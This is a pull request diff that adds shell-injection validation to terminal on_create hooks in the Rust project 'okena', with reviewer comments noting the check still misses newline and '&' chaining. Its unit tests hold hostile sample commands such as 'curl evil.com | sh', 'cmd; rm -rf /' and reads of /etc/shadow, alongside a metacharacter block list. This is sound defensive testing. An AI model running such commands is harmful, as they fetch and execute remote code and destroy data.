Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 3 additions & 1 deletion crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
Original file line number Diff line number Diff line change
Expand Up @@ -390,7 +390,9 @@ impl<D: ActionDispatch + Send + Sync> TerminalPane<D> {

// Apply on_create: wrap shell to run command first, then exec into shell
if let Some(cmd) = hooks::resolve_terminal_on_create_simple(&project_hooks, parent_hooks.as_ref(), &global_hooks) {
shell = hooks::apply_on_create(&shell, &cmd, &env);
if let Some(wrapped) = hooks::apply_on_create(&shell, &cmd, &env) {
shell = wrapped;
}
}

match self
Expand Down
86 changes: 83 additions & 3 deletions crates/okena-workspace/src/hooks.rs
Original file line number Diff line number Diff line change
Expand Up @@ -876,15 +876,41 @@ pub fn resolve_terminal_on_create_simple(
resolve_hook_with_parent(project_hooks, parent_hooks, global_hooks, |h| &h.terminal.on_create)
}

/// Dangerous shell metacharacters that could be used for injection.
/// We reject hook commands from project-level settings that contain these,
/// since they could chain or redirect arbitrary commands.
const DANGEROUS_SHELL_PATTERNS: &[&str] = &[";", "&&", "||", "|", "`", "$(", ">", "<"];

/// Validate that a hook command does not contain shell injection metacharacters.
/// Project-level hooks from untrusted repos could abuse these to run arbitrary commands.
Comment on lines +880 to +885
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Docstrings for DANGEROUS_SHELL_PATTERNS/validate_hook_command say the rejection is for “project-level settings”, but apply_on_create calls validation for any resolved hook (project/parent/global). Either clarify the documentation to match current behavior, or plumb through whether the hook is project-scoped so global/user-configured hooks aren’t unexpectedly restricted.

Suggested change
/// We reject hook commands from project-level settings that contain these,
/// since they could chain or redirect arbitrary commands.
const DANGEROUS_SHELL_PATTERNS: &[&str] = &[";", "&&", "||", "|", "`", "$(", ">", "<"];
/// Validate that a hook command does not contain shell injection metacharacters.
/// Project-level hooks from untrusted repos could abuse these to run arbitrary commands.
/// Hook commands from any scope (project/parent/global) that contain these
/// are considered unsafe, since they could chain or redirect arbitrary commands.
const DANGEROUS_SHELL_PATTERNS: &[&str] = &[";", "&&", "||", "|", "`", "$(", ">", "<"];
/// Validate that a hook command does not contain shell injection metacharacters.
/// This is intended to protect against untrusted hook configurations (for example,
/// commands defined in project repositories) but can be applied to any hook scope.

Copilot uses AI. Check for mistakes.
/// Returns `Ok(())` if the command is safe, or `Err` with a description of what was rejected.
pub fn validate_hook_command(cmd: &str) -> Result<(), String> {
for pattern in DANGEROUS_SHELL_PATTERNS {
if cmd.contains(pattern) {
return Err(format!(
"hook command contains dangerous shell metacharacter '{}': {}",
pattern, cmd
Comment on lines +882 to +892
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

validate_hook_command still allows command chaining via newline (\n/\r) and single & (background/command separator on POSIX; command separator on cmd.exe). Since apply_on_create interpolates on_create_cmd into a shell string, an attacker can still inject additional commands without using any of the currently blocked patterns. Consider rejecting &, \n, and \r (and add unit tests for these cases) so the validation actually closes the injection vector.

Copilot uses AI. Check for mistakes.
));
}
}
Ok(())
}

/// Apply the `terminal.on_create` command by wrapping the shell to run
/// the command first, then `exec` into the original shell.
/// Environment variables are exported so they persist in the shell session.
/// Produces: `sh -c 'export K=V; ...; <on_create_cmd>; exec <shell_cmd>'`
pub fn apply_on_create(shell: &ShellType, on_create_cmd: &str, env_vars: &HashMap<String, String>) -> ShellType {
///
/// Returns `None` if the command fails validation (shell injection detected).
pub fn apply_on_create(shell: &ShellType, on_create_cmd: &str, env_vars: &HashMap<String, String>) -> Option<ShellType> {
if let Err(e) = validate_hook_command(on_create_cmd) {
log::warn!("Skipping terminal.on_create hook: {}", e);
return None;
Comment on lines +890 to +908
Copy link

Copilot AI Mar 27, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The validation error string includes the full hook command, and this gets logged at warn level. Hook commands can contain secrets (tokens, passwords) and logging them may leak sensitive data into logs/telemetry. Consider logging only the rejected metacharacter (and perhaps the hook source), or truncating/redacting the command in the log message.

Copilot uses AI. Check for mistakes.
}
let shell_cmd = shell.to_command_string();
let prefix = build_export_prefix(env_vars);
let script = format!("{}{}; exec {}", prefix, on_create_cmd, shell_cmd);
ShellType::for_command(script)
Some(ShellType::for_command(script))
}

/// Fire the `terminal.on_close` hook after a terminal PTY exits.
Expand Down Expand Up @@ -1213,7 +1239,7 @@ mod tests {
};
let mut env = HashMap::new();
env.insert("OKENA_PROJECT_ID".into(), "proj-123".into());
let result = apply_on_create(&shell, "echo hello", &env);
let result = apply_on_create(&shell, "echo hello", &env).expect("should pass validation");
match &result {
ShellType::Custom { path: _, args } => {
let cmd = &args[1];
Expand All @@ -1225,6 +1251,60 @@ mod tests {
}
}

#[test]
fn validate_hook_command_allows_simple_commands() {
assert!(validate_hook_command("nvm use").is_ok());
assert!(validate_hook_command("source .env").is_ok());
assert!(validate_hook_command("cd /some/path").is_ok());
assert!(validate_hook_command("export FOO=bar").is_ok());
}

#[test]
fn validate_hook_command_rejects_pipe_injection() {
assert!(validate_hook_command("curl evil.com | sh").is_err());
}

#[test]
fn validate_hook_command_rejects_semicolon_injection() {
assert!(validate_hook_command("cmd; rm -rf /").is_err());
}

#[test]
fn validate_hook_command_rejects_and_chain() {
assert!(validate_hook_command("true && curl evil.com").is_err());
}

#[test]
fn validate_hook_command_rejects_or_chain() {
assert!(validate_hook_command("false || curl evil.com").is_err());
}

#[test]
fn validate_hook_command_rejects_backtick_injection() {
assert!(validate_hook_command("`malicious`").is_err());
}

#[test]
fn validate_hook_command_rejects_subshell_injection() {
assert!(validate_hook_command("$(curl evil.com)").is_err());
}

#[test]
fn validate_hook_command_rejects_redirect() {
assert!(validate_hook_command("echo data > /etc/passwd").is_err());
assert!(validate_hook_command("cat < /etc/shadow").is_err());
}

#[test]
fn apply_on_create_skips_invalid_command() {
let shell = ShellType::Custom {
path: "/bin/bash".to_string(),
args: vec![],
};
let env = HashMap::new();
assert!(apply_on_create(&shell, "curl evil.com | sh", &env).is_none());
}

#[test]
fn apply_shell_wrapper_with_env_vars() {
let shell = ShellType::Custom {
Expand Down
4 changes: 3 additions & 1 deletion src/views/root/terminal_actions.rs
Original file line number Diff line number Diff line change
Expand Up @@ -98,7 +98,9 @@ impl RootView {

// Apply on_create: wrap shell to run command first, then exec into shell
if let Some(cmd) = hooks::resolve_terminal_on_create(&project_hooks, parent_hooks.as_ref(), &settings(cx).hooks, cx) {
actual_shell = hooks::apply_on_create(&actual_shell, &cmd, &env);
if let Some(wrapped) = hooks::apply_on_create(&actual_shell, &cmd, &env) {
actual_shell = wrapped;
}
}

// Create new terminal with the new shell
Expand Down
4 changes: 3 additions & 1 deletion src/workspace/actions/execute.rs
Original file line number Diff line number Diff line change
Expand Up @@ -479,7 +479,9 @@ pub fn spawn_uninitialized_terminals(

// Apply on_create: wrap shell to run command first, then exec into shell
if let Some(ref cmd) = on_create_cmd {
shell = hooks::apply_on_create(&shell, cmd, &env);
if let Some(wrapped) = hooks::apply_on_create(&shell, cmd, &env) {
shell = wrapped;
}
}

match backend.create_terminal(&project_path, Some(&shell)) {
Expand Down
Loading